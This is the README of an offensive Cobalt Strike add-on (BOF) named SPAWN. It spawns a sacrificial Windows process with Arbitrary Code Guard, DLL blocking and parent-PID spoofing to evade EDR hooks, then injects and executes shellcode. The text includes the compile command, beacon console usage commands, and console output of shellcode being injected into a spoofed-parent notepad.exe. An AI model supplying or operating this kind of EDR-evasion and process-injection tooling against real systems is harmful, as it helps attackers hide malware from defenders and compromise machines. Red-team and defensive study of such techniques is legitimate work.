SPAWN - Cobalt Strike BOF
Cobalt Strike BOF that spawns a sacrificial process, injects it with shellcode, and executes payload. Built to evade EDR/UserLand hooks by spawning sacrificial process with Arbitrary Code Guard (ACG), BlockDll, and PPID spoofing.
New Features (08/01/2021)
- Spawn sacrificial process with Arbitrary Code Guard (ACG) to prevent EDR solutions from hooking into sacrificial process DLL's.
- See Adam Chester's "Protecting Your Malware" blog for full details. This part of the BOF is derived from his work.
- Inject & Execute shellcode.
Popin' Calc from ACG Protected Process
beacon> spawn notepad.exe 6248 /Users/bobby.cooke/git/boku7/SPAWN/popCalc.bin [*] SPAWN (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7) [+] Opened handle 0x534 to process 6248(PID) [+] Spawned process: notepad.exe | PID: 8404 | PPID: 6248 [+] Allocated RE memory in remote process 8404 (PID) at: 0x00000177A72C0000 [+] Wrote 280 bytes to memory in remote process 8404 (PID) at 0x00000177A72C0000 [+] APC queued for main thread of 8404 (PID) to shellcode address 0x00000177A72C0000
New Features (07/19/2021)
- CNA Agressor Script interface
beacon> help spawn Spawn a process with a spoofed PPID and blockDll beacon> help spawn Synopsis: spawn /path/to/exe PPID beacon> ps 8264 5536 OneDrive.exe x86 1 DESKTOP-KOSR2NO\boku beacon> spawn cmd.exe 8264 [*] SPAWN (@0xBoku|github.com/boku7) Opened handle 0x634 to process 8264(PID) Success! Spawned process: cmd.exe | PID: 5384 | PPID: 8264
- PPID Spoofing
- Cobalt Strike "like"
blockdllfunctionality
Compile with x64 MinGW:
x86_64-w64-mingw32-gcc -c spawn.x64.c -o spawn.x64.o
Run from Cobalt Strike Beacon Console
- After compile import the spawn.cna script into Cobalt Strikes Script Manager
beacon> spawn /path/to/exe PPID /local/path/to/shellcode.binTo Do List
Why did I build this?
1. To learn more about Cobalt Strike BOFs
2. I want flexibility in choosing my sacraficial processes.
- Spawning the same process for every fork-and-run seems like bad/predictable OPSEC to me.
- There are probably methods for this out there or built into CS already. Either way, I wanted to build my own.
3. I have allot of cool BOF ideas that I want to build on this.
Credits / References
PPID Spoofing & blockDll functionality
- Credit/shoutout to: Adam Chester @xpn + @SEKTOR7net + Raphael Mudge
- Thank you for the amazing work that you've contributed. I would not be able to publish this without your blogs, videos, and awesome content!
- Main References for PPID Spoofing & blockdll